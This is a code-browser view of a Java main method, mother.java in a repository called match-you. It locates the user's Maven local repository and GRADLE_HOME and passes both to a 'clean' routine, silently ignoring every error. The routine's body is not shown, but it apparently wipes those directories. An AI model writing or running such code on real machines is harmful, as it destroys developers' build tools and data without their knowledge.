MCPcopy
hub / github.com/RimoChan/match-you / main

Method main

mother.java:9–29  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

7
8public class mother {
9 public static void main(String[] args) {
10 try (BufferedReader is = new BufferedReader(new InputStreamReader(
11 Runtime.getRuntime().exec("mvn help:effective-settings").getInputStream()))) {
12
13 String line;
14 String prefix = "<localRepository>";
15 String eof = "</localRepository>";
16
17 while ((line = is.readLine()) != null) {
18 String target = new String(line.getBytes(StandardCharsets.UTF_8));
19 if (target.contains(eof)) {
20 String mvn = target.substring(target.indexOf(prefix) + 17, target.indexOf(eof));
21 clean(mvn);
22 }
23 }
24
25 clean(System.getenv("GRADLE_HOME"));
26 } catch (Exception ignored) {
27
28 }
29 }
30
31 public static void clean(String goal) {
32 try {

Callers

nothing calls this directly

Calls 1

cleanMethod · 0.95

Tested by

no test coverage detected